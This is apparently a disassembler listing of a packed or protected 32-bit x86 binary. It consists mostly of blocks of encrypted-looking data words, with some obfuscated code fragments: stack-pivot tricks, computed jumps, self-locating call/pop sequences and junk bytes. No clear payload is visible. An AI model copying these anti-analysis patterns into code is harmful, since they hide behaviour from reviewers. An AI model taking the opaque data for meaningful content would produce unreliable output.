		dd 5, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 5B2AFB81h, 33A3A67Bh, 8509D772h
		dd 5D1156Dh, 1BA9B5FFh,	0F5605D1h, 383h, 0C5CC8000h, 0F9BF0F5Ah
		dd 0EDD95FFh, 0DE905D1h, 0BA000000h, 7F7B282h, 35504231h
		dd 0B8BE3986h, 95FF006Ah, 5D12459h, 5EEBC08Bh, 0EC3BF1C4h
		dd 9C7B1918h, 0F6B5DEBBh, 732A6376h, 0A962A740h, 853EBDC5h
		dd 8637B1E3h, 1EDA602Bh, 0DA786A59h, 0FD526206h, 41E7E68Eh
		dd 36ED7B78h, 70937F60h, 0F7784DE8h, 84CFA2ADh,	295026E4h
		dd 297440AAh, 0C9C318E6h, 95CDFCE8h, 0BA7DD836h, 641FDE45h
		dd 0F4555361h, 0D77AFCBFh, 4EB7C4Bh, 7ED2731Ah,	5CFE9h
		dd 3744BC00h, 0CC5F99F4h, 0E47580EBh, 0F28FE8C3h, 94A9D239h
		dd 4B03A813h, 0B19C1F32h, 9EF53645h, 0FAD1CA63h, 0B4CCEF80h
		dd 42BDDEF5h, 8D5A66D7h, 77642BFAh, 1066D742h, 8198E342h
		dd 0D8447FEDh, 402C3F45h, 2A8DA0E5h, 0CEA6B9C3h, 2791963h
		dd 0B9B4456Bh, 0A5472F3Eh, 0E917F2FAh, 52AC8356h, 0B65E0639h
		dd 0F18015D0h, 0AE84C1D2h, 6B14466Ch, 6A1BAC0h,	4AE0B73h
		dd 0DD38A3A8h, 69007B22h, 0CF343B4Eh, 0DE213291h, 0F4A66CADh
		dd 83BC2EC6h, 24C86198h, 0DBAEBD39h, 511D2E54h,	0B50CE88Bh
		dd 0DC6FF235h, 543F98A6h, 0DE37CC15h, 6CAE4ABDh, 0CC57085Ah
		dd 2803A4B5h, 19A8B9D2h, 0AE4AA9AAh, 437C2E6Ch,	4AFC1C99h
		dd 9D2C6CAEh, 2ED16696h, 0F48A499Ch, 0F1514E44h, 4Ch, 2C3F4575h
		dd 85564540h, 0F4466CAEh, 0ADCF231h, 1D9514Eh, 5D000000h
		dd 4C203B45h, 0E8A797E1h, 6CAE84EBh, 2798C936h,	4E427608h
		dd 0C7866E1Ch, 0AEBD3934h, 0AE463627h, 0D083D16Ch, 5D112C55h
		dd 0DD14D3B5h, 0C42F88A3h, 220AADBEh, 25524045h, 0D0866408h
		dd 0B4C7311Ch, 80A717B8h, 5F1EE11Dh, 0A1B7FF6Ch, 0B4E2A7A4h
		dd 457E471Eh, 0F988A5DEh, 0BEC9B99Dh, 0A28D2B44h, 70058021h
		dd 71CB7507h, 681F9043h, 42E9EAD9h, 436E6CAEh, 0CE741A35h
		dd 1B762F8Ah, 5FC6F917h, 7D107525h, 0BCB0C930h,	8974782Eh
		dd 2A17DF6Eh, 55B0BCD1h, 88521229h, 2DC15CA5h, 52E40385h
		dd 0DF14D377h, 514E84CFh, 0A3B4h, 0A089F500h, 0A60E9E1Bh
		dd 45B3F99Ah, 0B8412D40h, 3C304BB5h, 4FAEF5AEh,	388E363Eh
		dd 0B2CF34EDh, 2BE91279h, 0A3B1BDCCh, 0E51F31CBh, 1DC3F1B0h
		dd 7E8BF451h, 0CED6498Ah, 0A8446A74h, 4824374Dh, 0EF8796EDh
		dd 63D51096h, 90052066h, 2AD5689Dh, 4E3C7D01h, 7C5A51h
		dd 0F0830000h, 0AE5EC0DDh, 0F28BEA6Ch, 3A6868F2h, 40451319h
		dd 9DE4412Dh, 0FA05E08Ch, 56A68363h, 84AEAFE2h,	7B296CAEh
		dd 8FF99955h, 7D816E58h, 0DAEE903Fh
		dd 33C2F534h, 0AD867F9Ch, 0DB4A186Ch, 7E589A0h,	5A9B4A5Ch
		dd 41AB0C21h, 4DA83B45h, 194E8F9Fh, 0DFDA8AB8h,	6CADF1BBh
		dd 2651DCEBh, 8B5A6C17h, 4E9D3648h, 103351h, 876A0000h
		dd 0D2C3CE7Ch, 756CADFDh, 0EF7D7127h, 3A456834h, 9CE64323h
		dd 0D392E383h, 0B69C255Ch, 0AAE44E8Ch, 18C2A250h, 1D80A767h
		dd 0D12BE916h, 79E488BEh, 98BB6904h, 0D0CB629Dh, 1F304AD9h
		dd 0D9F85064h, 5F9ABB16h, 6F3D6CAEh, 0AE5F7566h, 3544BF6Ch
		dd 7D2FA339h, 5A9358C7h, 26D44538h, 0D2F18053h,	6CAE76C1h
		dd 606B1446h, 727F8258h, 64C1ADFFh, 43AA0D1Eh, 80532639h
		dd 0CB3A51ADh, 727F81CAh, 11A604Dh, 0F9C4A053h,	727F81DAh
		dd 0FA3BEA5Ch, 8A996780h, 1DBBD422h, 8B31FCA9h,	51BC68BAh
		dd 0B2751BB6h, 77A1DF07h, 5D3B0D3Dh, 0EE81FBA2h, 4EE11B06h
		dd 6681F1A6h, 706D20F3h, 17727F09h, 69939A45h, 0E2FCD5D6h
		dd 0C74B7D85h, 156h, 5D742C5Bh,	0AE856576h, 0A1B0E26Ch
		dd 0AE84F1E2h, 16C4966Ch, 9B244C43h, 8EA3727Fh,	2856DF70h
		dd 0DF8D5F17h, 0C80C7617h, 182F4F6Fh, 0E5689654h, 39641FBEh
		dd 4AD9A8C3h, 0B2631C31h, 660E215Bh, 6765BFA7h,	19CD49B9h
		dd 0D5C53F66h, 8495ECAAh, 9E4C1ED6h, 965121D6h,	910A255Fh
		dd 7C2526B8h, 72034Bh, 19270000h, 905CF10Ah, 326B29CAh
		dd 45E6ADBCh, 0C26CAE85h, 4051B818h, 373AED3Ah,	0AE2D7B98h
		dd 984E1C6Ch, 2DCCC9D4h, 0CA5C6CAEh, 0D8F7861Bh, 6CAE2DBBh
		dd 0A7550E5Ch, 0A2E1F0EEh, 6CAE2E01h, 3DB95C86h, 0F74496CBh
		dd 68F2F28Dh, 641394BAh, 6E1EC37Eh, 0F6747815h,	14343D48h
		dd 0ADFC9CB9h, 0BB693B6Ch, 886198h, 649E0000h, 588E47C6h
		dd 89934C89h, 0F501742Ch, 54A38E66h, 4F4217C5h,	6CAE854Eh
		dd 0E4F59BC9h, 7F9861A9h, 0B8B4E672h, 0B6B275Dh, 0B4BB4E7Ch
		dd 0AA303C4Dh, 92912889h, 0C51FD768h, 0A0B3F043h, 51DC824Ah
		dd 0C06B1427h, 1D0A1BAh, 80139182h, 0BB643672h,	14E2F4B1h
		dd 0F2447280h, 0F788F233h, 0DAD8B034h, 5787B817h, 52007857h
		dd 324DB792h, 20C74332h, 0FD2D088h, 751C067Ch, 741C4C10h
		dd 333F404Bh, 8AD87E2Eh, 742C3B11h, 0F5D86B7Eh,	6CAE84E8h
		dd 2532426Fh, 0EABD4C77h, 8567745Bh, 0B2E06CAEh, 0C8053A81h
		dd 0D0827285h, 1FFED501h, 0B4151494h, 33EC7FF9h, 0A5B6CC29h
		dd 7CF87702h, 0BA6507EFh, 0E3F689F3h, 0DEBA7CFBh, 3AE50A4Fh
		dd 39797732h, 4AB3ED8Bh, 0A9D23F37h, 61E9D894h,	58EF0FC6h
		dd 1DC8BEAAh, 2A8D9EE4h, 0CEA6B9C3h, 6B7B1663h,	9FE44B1Ah
		dd 0C659A382h, 9B5A8D1Dh, 86EDCE61h, 0DA03E37Ch, 0Dh, 0B5440B56h
		dd 0AE84FD1Eh, 17C89A6Ch, 2E3D450Dh, 8EA1DB46h,	69007BE6h
		dd 0CF5C9885h, 0ACC13A27h, 0D2065C0h, 0E67B8461h, 45D4230Eh
		dd 19324CA9h, 8956B255h, 4C681E6h, 83000000h, 0FF5604EEh
		dd 5E042474h, 5C24048Fh, 7B8A68h, 24348900h, 81E38953h
		dd 4C3h, 4EB8300h, 5C241C87h, 53241C89h, 0EC418F68h, 0E3815B05h
		dd 52853833h, 0E240EB81h, 0DE89DABFh, 0F681465Bh, 20135F3Dh
		dd 241C8B54h, 4C481h, 81560000h, 4563242Ch, 438F2D3Bh
		dd 8438108h, 2D3B4563h,	5B2434FFh, 4C481h, 34FF0000h, 0C4815E24h
		dd 4, 0FA337EE9h, 0B64227FFh, 4C9B76FEh, 0FF48877Ah, 0D7483AB8h
		dd 0FFC50305h, 9E0D18E0h, 0AC901102h, 0C714D863h, 670FCE5Dh
		dd 10F363h, 22C8FA5Fh, 0C14F311h, 546625h, 0BBE74C69h
		dd 0EBCA5761h, 1FF12F3Ch, 30C7A17Dh, 36710D18h,	8DDE9E7Fh
		dd 0E56B3805h, 8EB2Bh, 0F2000000h, 0E90064F8h, 518h, 0D74A5F68h
		dd 3315E905h, 0E868FFFAh, 0E905D74Ah, 0FFFA330Bh, 0D74C5668h
		dd 3301E905h, 37FFFFAh,	1E58B374h, 3443AA0Dh, 4EAB8225h
		dd 689DF833h, 446BD2D5h, 5B5CF10Ah, 0B4770470h,	900B2259h
		dd 8B2C3F45h, 7C9934F5h, 1B66D73Bh, 276A3DCCh, 66D73C36h
		dd 54D083D1h, 412D4045h, 76AF42B8h, 8D3CAD35h, 1E314BD2h
		dd 2CF0EA9Dh, 11B01C30h, 1B750738h, 9FA8D2A7h, 0CC36595Dh
		dd 795413CCh, 727F8419h, 7900ECBEh, 0F1DC90EAh,	727F83E4h
		dd 50033163h, 7F846475h, 63314E72h, 0F2680413h,	0BCC520CCh
		dd 1B60CDA1h, 0E2059506h, 12D5755Ch, 7D0BBDD1h,	33BBA4Bh
		dd 19BE0000h, 9C50ED0Ah, 0FBD15CEh, 777A78D0h, 7FAA1058h
		dd 91EB4672h, 0A1F3C5FEh, 0FF9917Ch, 0FE5A6FE5h, 0C32EF180h
		dd 10CA9AB5h, 160C646Fh, 518B75B6h, 0B7513939h,	0C5A95FEDh
		dd 965B5731h, 40CBC8C7h, 3D4C75B6h, 0B6408596h,	0A2500275h
		dd 0DBF6F1h, 767B8779h,	36E980FBh, 7396EFC2h, 0D137EA53h
		dd 0EF87B518h, 9458F502h, 725120D6h, 7B875B61h,	0F386B4E6h
		dd 0B275067Ch, 8D0E215Bh, 0E06E788Dh, 330158F4h, 1A000003h
		dd 76E49DEh, 6E4566F9h,	56BD7E0Fh, 0B8931429h, 368D2E43h
		dd 0B1CC3169h, 48DF1F76h, 6CFD046Fh, 11A604Bh, 444B1AA6h
		dd 66D73B57h, 2C0D27F0h, 246B7E74h, 7285CE42h, 24BF3934h
		dd 0B55E0E96h, 0D19D43EAh, 40760B74h, 0CA0112B1h, 0D4867285h
		dd 0F1DCAD2Bh, 7285C9E4h, 6F668F39h, 755527A1h,	8D607127h
		dd 0EBC2E578h, 56F7FF92h, 0A75DA2Ch, 12CDF9CFh,	860BA5ABh
		dd 0DA758F72h, 6FC773E1h, 0DB02A2E9h, 2AAh, 0E5C655ADh
		dd 0DCDF708Eh, 34F786F1h, 2A8DA0D9h, 4A7BAC3h, 43B8F2B9h
		dd 56A68D2Eh, 748FE6C1h, 91EBC2E5h, 0C2833DFEh,	0D73ACECFh
		dd 969E4966h, 8A5D742Ch, 0AE851607h, 0E2E3B16Ch, 6CAE84F1h
		dd 4316C496h, 0B1A2E1B0h, 566CAE84h, 856B6827h,	0BEEC6CAEh
		dd 0FAECD788h, 9D7285CDh, 759A27CFh, 0BF7285CDh, 0DC393544h
		dd 0FF92EBA5h, 0AF4775F7h, 0ED0105B5h, 0AF18B0F2h, 9B76C81Fh
		dd 0A33BF82Fh, 804B7620h, 1A1h,	2C3F45A4h, 8C9FE540h, 0F3EFA92Bh
		dd 8E74F4EEh, 69A1DFDCh, 0CDA1BAC4h, 0D265641Fh, 4415245Fh
		dd 0AE5A4C49h, 0E699CB6Ch, 7F706B1Fh, 0B6BEEC72h, 7F6FE6EBh
		dd 7DE6872h, 7D23B2CCh,	46B74Bh, 19AB0000h, 0D31C93FDh
		dd 641F5BF3h, 0F7FAF850h, 2B4208Fh, 0F6A9AA23h,	0B4CD20F3h
		dd 171FE699h, 0B0727F6Ch, 928702E2h, 3C727F6Bh,	617BA4Dh
		dd 81727F6Ch, 479E20D3h, 0B265FD2h, 23AFCF68h, 0B9B44B7Dh
		dd 0A8000000h, 5EEF0A19h, 0EB84FEA5h, 48E51EFBh, 2843B9A4h
		dd 88A3D944h, 8951642Fh, 215B6CAEh, 171AAD0Eh, 0EDAF50E7h
		dd 9B2A3FB3h, 13D36894h, 8DB3CC36h, 1FC059A0h, 8227DDB4h
		dd 59287A72h, 6C1AABCAh, 610A88D4h, 2459D4FAh, 9C935609h
		dd 0FAD1CA67h, 53EBEC81h, 0BEE973A1h, 13CD716h,	0E7130000h
		dd 27C5750h, 18674E69h,	324FA601h, 4CB19C1Fh, 600FF631h
		dd 7FB8D52Eh, 5853E814h, 0B477067Dh, 0AF082359h, 607D5011h
		dd 0E766D739h, 0A190430h, 0D4965EEFh, 19FB002Bh, 19A48E3h
		dd 0EE81FB76h, 0F0BB6406h, 0FAE0F18Ah, 16B310Dh, 0BC873DC4h
		dd 0A310B663h, 26A4B74h, 402C3F45h, 0EF0E5DB9h,	0A6250694h
		dd 334CB6FDh, 269CF4F8h, 0EB187C53h, 65BF727Eh,	348EA6C8h
		dd 0EFF2A0CBh, 94A7D15Ch, 0CA5102D8h, 8198E3B1h, 0B8497FEDh
		dd 0F5E7942h, 10C38BD7h, 203149Fh, 0FE75727Fh, 6DC8EB84h
		dd 14A30417h, 9649E419h, 16DB768Fh, 0A64EE11Bh,	8511BC4h
		dd 82h,	0C1FD1924h, 77087692h, 17251FC9h, 0F2F0A86Ch, 2DC2A0EFh
		dd 17457285h, 0A1B4AE5Fh, 0E8F5D866h, 6F7284EFh, 0F51873Dh
		dd 7983AA55h, 94EEC5E6h, 0AEEBFBh, 6F7838D2h, 6968A4DEh
		dd 0D309205Fh, 6C8A7E68h, 0DDC5589Bh, 60A25DF3h, 65F60CC5h
		dd 29643742h, 7838B22Ch, 5FC6F9ABh, 0FF5A0A25h,	171AEF82h
		dd 0CF9D51E8h, 0F1794814h, 314CA336h, 0C63C6718h, 0E11B72B5h
		dd 347A64Eh, 0E9000000h, 3D45190Bh, 0A1DB462Eh,	7BE68Eh
		dd 5C988569h, 0C13A27CFh, 2065C0ACh, 7B84610Dh,	0D4230EE6h
		dd 324CA945h, 68B25519h, 34E8h,	53242489h, 4BBh, 245C0100h
		dd 0DF685B04h, 8900002Bh, 0B0682434h, 8900004Fh, 5752243Ch
		dd 833FA0BFh, 0FCDBA21h, 0FA0146EBh, 8142425Fh,	68F9CBC2h
		dd 5AD6899Dh, 243C8B54h, 5204C483h, 8BAh, 0FAEA8100h, 11D1E6Ah
		dd 0FAC281FAh, 891D1E6Ah, 3C8B5A32h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		db 82h,	50h, 0F5h
; ---------------------------------------------------------------------------
		mov	eax, 5D74DB7h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0E6h, 62h, 2Fh
		dd 5983A86Ah, 0AB4A7B64h, 1177BD10h, 6B144479h,	2DBE3B3Dh
		dd 48BBB151h, 36B31F71h, 0B4E7D114h, 3D848864h,	5BE0316Dh
		dd 0BCD1FD06h, 0AE7B6B4Ah, 0D6841E15h, 6A6BB82Bh, 49E8891Dh
		dd 64DBEF55h, 0DE0FA923h, 5BBC2834h, 0BE239220h, 4A6DC225h
		dd 45BE811Ch, 0CA2A3644h, 0CEF7EC3Fh, 1BF8851Fh, 67D17909h
		dd 12E807h, 95BA0000h, 588FD57Dh, 8BA6D3BDh, 70987BA5h
		dd 4C3ED2A7h, 0C786B966h, 4830F5Ah, 66000000h, 812A31B9h
		dd 662FC2h, 439ABE00h, 5CB873F9h, 53000019h, 0E91A8B59h
		dd 14h,	3E3CBD63h, 21D4DB76h, 0F1A6E9FAh, 0CF781E5h, 0E325256Fh
		dd 0DE65EB81h, 0F507427h, 28Ah,	5F5F5600h, 0F7BFF381h
		dd 0AE9384Bh, 16000000h, 63DCAAFDh, 0F85F9AC8h,	27C381ABh
		dd 66079731h, 0F8C5D981h, 0E3BF1A89h, 8152D5CFh, 0B094D8EAh
		dd 0B966567Ah, 81595580h, 0B094D4C2h, 0EF81667Ah, 0E883E6EFh
		dd 0D850F01h, 0E9000000h, 19h, 0AF2A074Ah, 88BE09ABh, 0FFFF7CE9h
		dd 70C0A4FFh, 837D637Fh, 481247h, 0EDE9FAh, 66600000h
		dd 4A8D88Ch, 0DF840Fh, 0B58B0000h, 5D1153Dh, 0F00FE83h
		dd 2285h, 0D985C600h, 4505D124h, 72696968h, 99B5FF8Eh
		dd 8D05D106h, 0D45CA185h, 89D0FF05h, 0D1242585h, 80F08B05h
		dd 850FE93Eh, 31h, 350F858Dh, 0D0FF05D6h, 18A9BD8Bh, 0C78105D1h
		dd 1184h, 153DB58Bh, 0F78705D1h, 8B9h, 8BA4F300h, 0D1153DB5h
		dd 0AC858D05h, 0FF05D4FFh, 0ADB58BD0h, 8305D121h, 850F00FEh
		dd 22h,	24D985C6h, 685405D1h, 0FF4EBEF4h, 699B5FFh, 858D05D1h
		dd 5D45CA1h, 8589D0FFh,	5D121ADh, 3E80F08Bh, 3A850FE9h
		dd 8B000000h, 0D121ADB5h, 0F858D05h, 0FF05D635h, 0A9BD8BD0h
		dd 8105D118h, 1184C7h, 8C78300h, 21ADB58Bh, 0F78705D1h
		dd 8B9h, 8BA4F300h, 0D121ADB5h,	0AC858D05h, 0FF05D4FFh
		dd 8DC361D0h, 0D74F7285h, 29858905h, 0EB05D12Bh, 31FCB604h
		dd 50FE978h, 0C7330000h, 0E21C77B0h, 0F8076E49h, 126F4661h
		dd 2C51BC7Fh, 802F9611h, 1F98B5CEh, 78B3C834h, 5457E61Dh
		dd 4F680379h, 405D7031h, 0C766D735h, 3F452410h,	0AAB9402Ch
		dd 2500334Ch, 46BC4DE0h, 0F5C750C9h, 6D4E7155h,	8363FC06h
		dd 42BC5CA6h, 0A7767B29h, 0AD93EBE8h, 53E6C6Ch,	6384F25Fh
		dd 19CF6F7Bh, 8A5F0DB2h, 0CF099D50h, 0CB9E69ACh, 0ADADD7C4h
		dd 7122706Ch, 2AFDCB6Bh, 3DFE91EBh, 0C158A78Ah,	9984BF2Dh
		dd 7706CB62h, 0ADAE3B58h, 0E6ADDC6Ch, 6CADADF5h, 6112C092h
		dd 0F1E65B0h, 0ED7AFA67h, 4CDD2401h, 2C3F45A0h,	46E16940h
		dd 7C6629F0h, 0E5B27AF2h, 16A84BE7h, 0DAEB16CFh, 267C8358h
		dd 0E7C0F6E5h, 14E5768Ch, 0EB4D4E45h, 98CA6CADh, 0A0B0FDE7h
		dd 906CADEAh, 922CE73Eh, 9A514EA4h, 1ED66997h, 60D9934Ch
		dd 5D000000h, 402C3F45h, 0AE855645h, 31F4466Ch,	4E0ADCF2h
		dd 1D951h, 455D0000h, 0E14C203Bh, 47E20C97h, 1DCC0F42h
		dd 6D979A6Fh, 0F8C1D2F1h, 14466CADh, 0A5B4CF66h, 846013C9h
		dd 30A99C5h, 7F1C5510h,	0F2A0D944h, 6604E885h, 7514BCB0h
		dd 17AF2709h, 6D162674h, 2D4B8A5Dh, 48B29912h, 4598F437h
		dd 0B8412D40h, 84B9DAE9h, 0C5E6CAEh, 9DAEC853h,	994C3ED1h
		dd 0AD0E2358h, 43233C46h, 313340BAh, 7B8523B5h,	8BA2DD58h
		dd 0B96CDADBh, 4E0F747Ah, 5E5151h, 45D50000h, 0E4412D40h
		dd 72F18099h, 0E1C97708h, 0BA08D9E5h, 0D77F651Eh, 86FF36F1h
		dd 6FFCE6EBh, 55431A6h,	45900132h, 0E4412D40h, 0A7EE869Bh
		dd 7F0FC463h, 49514E28h, 0C5EC1D2Dh, 0C3628AECh, 1CCEA6B9h
		dd 346963h, 458D0000h, 0E4412D40h, 89E08C9Dh, 0FC73E601h
		dd 62C9EA87h, 49A30419h, 4C203B45h, 3146B6BDh, 9F4AF3Dh
		dd 6CAE8509h, 457EA939h, 514E0A29h, 10Eh, 3A452200h, 0B50081ABh
		dd 0C9FFDD9Fh, 72896425h, 77D38DBh, 81097874h, 4650AF66h
		dd 0B8732136h, 42537E01h, 0C56CAE79h, 7028EC97h, 51DC6F72h
		dd 7A9B3628h, 1D6CAE78h, 17D5994Fh, 8359616Ch, 0ACFE727Fh
		dd 731F65C0h, 0E2787403h, 6A90FB3Ch, 0DD6C1DD1h, 7F82E5F6h
		dd 0F306272h, 7F829584h, 80A71372h, 87203B41h, 29C556ACh
		dd 0C9A5B6CCh, 609C9326h, 4F9628CBh, 0D8D36C96h, 7D0CDFFFh
		dd 15BC44Bh, 2C580000h,	66F50174h, 5B2EDC8Eh, 7F9B3C74h
		dd 89F6DB72h, 0BC62F8F4h, 942F55B0h, 3D395B17h,	4467154Ah
		dd 69781369h, 0F3EAEBA6h, 3F6D727Fh, 87FD5804h,	0F6F9E5F4h
		dd 87E74400h, 9BB0CC61h, 866E11CBh, 389726D1h, 727FE11Bh
		dd 0D76691BCh, 79AC7E21h, 8E2942B8h, 7CAF09A5h,	74EE4Bh
		dd 0D05F0000h, 40EC97A4h, 7405792Ch, 0AE858C59h, 95590B6Ch
		dd 0AE860B08h, 43DA216Ch, 0A83D46A3h, 292C6CECh, 0C1AD53B7h
		dd 9AF76F0h, 9538CB9Eh,	6CAF3088h, 60A25D0Fh, 0B23065C5h
		dd 0A4B11CAFh, 236CAF30h, 302D6071h, 0D76CAF31h, 800FDA85h
		dd 6CAF30E3h, 0C2F53664h, 0C839598h, 0AF119481h, 3B61336Ch
		dd 621D2241h, 90C7h, 0BD393400h, 0E17887AEh, 742C763Eh
		dd 0EC246B7Eh, 9A727F98h, 1964CBh, 7F98908Dh, 0BA653772h
		dd 0F67D0C5Eh, 6CFEF687h, 364CA9B3h, 0E855425h,	727F990Dh
		dd 0F627D88Ah, 1ACA659Fh, 0C0757B63h, 27F51FC1h, 637F917Ch
		dd 51397280h, 5D700396h, 72806440h, 43EA95C7h, 0DC532639h
		dd 0F28BF6A2h, 0AABA68F2h, 1BAE0F30h, 0A152EF14h, 2839B593h
		dd 57B3E165h, 38346678h, 0D894A7DDh, 66C661E9h,	0EEA5B42Ah
		dd 7E2F0456h, 53DEA3F1h, 4C6D1629h, 0EA0A1960h,	0B692A25Dh
		dd 0E29A2938h, 657285D4h, 511D2E48h, 1914E58Bh,	45A04CDFh
		dd 9A402C3Fh, 2843B9F4h, 7A806D77h, 49221169h, 0F2A068B2h
		dd 97A8D239h, 0B9C32EDFh, 0B116FDA6h, 0BEF06C34h, 9EE41DC8h
		dd 0B9C32A8Dh, 0DF8DA0D9h, 0B0CD2A17h, 0A245C5BCh, 0A5061963h
		dd 561B344Eh, 4B66992Ch, 0C8EB4A77h, 33D2Ch, 0B770000h
		dd 2E3D4519h, 8EA1DB46h, 69007BE6h, 0CF5C9885h,	0ACC13A27h
		dd 0D2065C0h, 0E67B8461h, 45D4230Eh, 19324CA9h,	8956B255h
		dd 4C681E6h, 83000000h,	0FF5604EEh, 5E042474h, 5C24048Fh
		dd 588B68h, 243C8900h, 53A468h,	242C8900h, 5DBD5550h, 811CD42Eh
		dd 0F17B9F5h, 73E5814Bh, 81247859h, 7F3716C5h, 5DE88901h
		dd 5458C789h, 81242C8Bh, 4C4h, 4EC8100h, 89000000h, 3481243Ch
		dd 8871E624h, 8458F1Ah,	0E6087581h, 8B1A8871h, 8957242Ch
		dd 4C781E7h, 83000000h,	3C8704C7h, 3C8B5C24h, 0E1895124h
		dd 4C181h, 0C1830000h, 240C8704h, 26C1E95Ch, 44EDFFFAh
		dd 0E871B5EBh, 6DB31E34h, 54E6B8EDh, 0C50305D7h, 0A357E0FFh
		dd 0DC020491h, 0E01F1060h, 4E780409h, 18B94915h, 1DD969F6h
		dd 0D9FD0DCAh, 93831917h, 25C74F52h, 6E403033h,	52AB7834h
		dd 42187B5Eh, 0F8E4DECh, 785B5511h, 751F2E2Ah, 0EDDB7C7Ah
		dd 0E50F6804h, 57514CC2h, 0A22E09C3h, 0ECEF64CBh, 0A20423BDh
		dd 0FCA207Dh, 0D7802B0Bh, 863F0452h, 4CDA16B2h,	54D37FABh
		dd 47955B45h, 449C19DAh, 40CD3377h, 0B5356AAFh,	8D8D5312h
		dd 5D756ACh, 89F0B70Fh,	0D110218Dh, 0FE86005h, 0D5000000h
		dd 0A6D195A6h, 0D61E61A9h, 0E68545Eh, 830FD435h, 0
; ---------------------------------------------------------------------------
		pop	ebx
		sub	[ebp+5D12625h],	eax
		popa
		mov	dword ptr [ebp+5D11C09h], 5C14h
		call	sub_5CF482
		jmp	short near ptr loc_5CF4A4+4
; ---------------------------------------------------------------------------
		db 10h,	0C9h, 6Fh
		dd 0AA450E38h, 1E6D034h, 1DDA2920h
		db 0EFh, 7Dh

; =============== S U B	R O U T	I N E =======================================



sub_5CF482	proc near		; CODE XREF: ud2_____:005CF46Ap
		pop	eax
		mov	dword ptr [ebp+5D10679h], 0
		mov	edx, esi
		push	dword ptr [ebp+5D120D9h]
		adc	edx, 0B8FF327h
		call	dword ptr [ebp+5D10EDDh]
		push	0
		push	esi


loc_5CF4A4:				; CODE XREF: ud2_____:005CF46Fj
		call	sub_5CF4AC
		and	[esi-3Dh], bl
sub_5CF482	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5CF4AC	proc near		; CODE XREF: sub_5CF482:loc_5CF4A4p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5CF4AC	endp

; ---------------------------------------------------------------------------
		dd 96FFE6D6h, 0E9E7E0E5h, 5, 13823504h,	0FF006A57h, 0D1245995h
		dd 0EBC08B05h, 7102692Eh, 6074895Fh, 3FC2988Dh,	429DDCECh
		dd 5F962984h, 0D283A04h, 1BE6AA9Fh, 0D93380AEh,	2612AD67h
		dd 0CB6A0A6h, 75FB9A9Ch, 0EB7B2818h, 0B3937C04h, 0D32E965h
		dd 8E680000h, 0E905D758h, 0FFFA2547h, 0D7596868h, 253DE905h
		dd 5968FFFAh, 0E905D75Bh, 0FFFA2533h, 0D75C7168h, 2529E905h
		dd 4368FFFAh, 0E905D760h, 0FFFA251Fh, 0D761D768h, 2515E905h
		dd 0C168FFFAh, 0E905D762h, 0FFFA250Bh, 0BD7E0D75h, 94172856h
		dd 8C2F3EB9h, 0E2C558A1h, 0DCDF728Bh, 0FB003A61h, 0E6E4566h
		dd 2C57BE79h, 49B39A1Dh, 3ACBF536h, 0D72D8697h,	5ED60166h
		dd 402C3F45h, 0FD8C9FE5h, 4DFC0976h, 1EC2179Bh,	0AC3E36E4h
		dd 0F50CE9F3h, 0B1398864h, 5545BF76h, 210F982Bh, 3B3C8B29h
		dd 69446715h, 57BE7914h, 0F752122Dh, 0BB39F28Dh, 9798C2DDh
		dd 0B0D1A1FCh, 581F3C91h, 0EAB86CAEh, 0EA9E35C4h, 6D727F6Dh
		dd 656A373Fh, 0EB727F6Eh, 334B885Fh, 3D4B7D25h,	0BFB7C836h
		dd 387A722Dh, 0FE000000h, 6B7E742Ch, 3E37884h, 0ECA3A659h
		dd 727F9708h, 0C2D3FE8Fh, 45727F96h, 8D6117h, 727F970Fh
		dd 25DE0981h, 4B7CF889h, 0E26Eh, 4EA7DF00h, 839680EBh
		dd 453F651Eh, 0D65D2C3Fh, 6EE91A6h, 0FD8EE847h,	0C03A6BF1h
		dd 7A25C7AFh, 0BFB7CA33h, 5F172852h, 0B9E8B4AEh, 1A392AC8h
		dd 0A659F00Bh, 6B9585FFh, 984E1CD0h, 7B85681Fh,	0A55E0CE0h
		dd 0AE4E185Eh, 96E34E6Ch, 275DD8FBh, 42B89314h,	0D7B14529h
		dd 20CC5DA4h, 0CEC594BAh, 727F61D2h, 9A90AF75h,	9A8DB6B2h
		dd 0D7B133F4h, 1F4716DBh, 3BACF092h, 4BB26DE6h,	78523513h
		dd 1C13E6B4h, 7A514AE7h, 9D6B6C01h, 0E4E3A3AAh,	0ADB1148h
		dd 0AFCB0000h, 0CA341F98h, 0E01F76B1h, 0FA076E49h, 14694467h
		dd 98C7BE79h, 27809DE6h, 9BB0CCh, 7CBFCE35h, 5750EB11h
		dd 28359829h, 0AF66D72Dh, 40453C78h, 59A38A2Dh,	3D2E5C6h
		dd 55B8D12Ch, 6CAE8548h, 4C679DCFh, 3826069Bh, 2CABF1A2h
		dd 246B7E74h, 727F9750h, 0CCC9A5F7h, 727F96CBh,	0E122C545h
		dd 4B7CF8CDh, 1E3348A7h, 0A36F65h, 19830000h, 0DE8D88FDh
		dd 0A8853F6Fh, 1F063952h, 0BF9A4AE5h, 7E3B2B46h, 6CADFB38h
		dd 0B4770872h, 32D32E05h, 0D79D8927h, 0E31E70Dh, 0A4CADD27h
		dd 0F9A710AFh, 874B1BC9h, 8904D5C9h, 727F4B91h,	1436436h
		dd 0B864B47h, 7852EAC2h, 0EF421745h, 7BF6FB96h,	4BE613FBh
		dd 6013C19Bh, 21F644Fh,	0A2F57989h, 757418E3h, 0A01h, 6546D52Dh
		dd 5C5FF00Eh, 0B4770671h, 0AA0D2059h, 84273A43h, 0C3387239h
		dd 0D6260DAEh, 0F40F6641h, 116B4265h, 4203BD7Eh, 0D72C4E4Fh
		dd 161EC966h, 8A2D4045h, 0E5C659A3h, 2C3F458Fh,	8C9FE540h
		dd 720B76FDh, 0D26D9772h, 0F99A4812h, 855C7D38h, 2C566CAEh
		dd 0F5E19813h, 27193639h, 9984BFF4h, 6524C863h,	474BEA79h
		dd 0BDF82639h, 0C16C1799h, 2BCCA0BBh, 2F558C5Bh, 1CB29B1Ch
